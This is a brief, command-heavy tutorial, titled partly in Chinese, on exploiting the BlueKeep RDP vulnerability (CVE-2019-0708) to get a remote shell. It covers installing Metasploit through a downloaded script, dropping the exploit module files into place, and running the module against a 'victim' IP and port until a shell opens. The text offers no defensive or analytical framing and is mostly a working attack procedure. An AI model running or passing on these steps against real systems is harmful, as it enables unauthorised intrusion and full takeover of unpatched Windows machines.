
CVE-2019-0708 RCE远程代码执行getshell教程
Kali install update: curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ chmod 755 msfinstall && \ ./msfinstall
Download the attack suite and place the files into the corresponding msf folders (if files with the same name already exist, simply overwrite them):
rdp.rb -> /opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/rdp.rb
rdp_scanner.rb -> /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
cve_2019_0708_bluekeep.rb -> /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
cve_2019_0708_bluekeep_rce.rb -> /opt/metasploit-framework/embedded/framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
Exploitation process:
msfconsole
reload_all
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
Use set RHOSTS [victim IP] to set the victim IP
Use set RPORT [victim PORT] to set the victim RDP port number
Use set target [ID number] (optional 0-4) to set the victim machine architecture
set target=3
exploit
shell
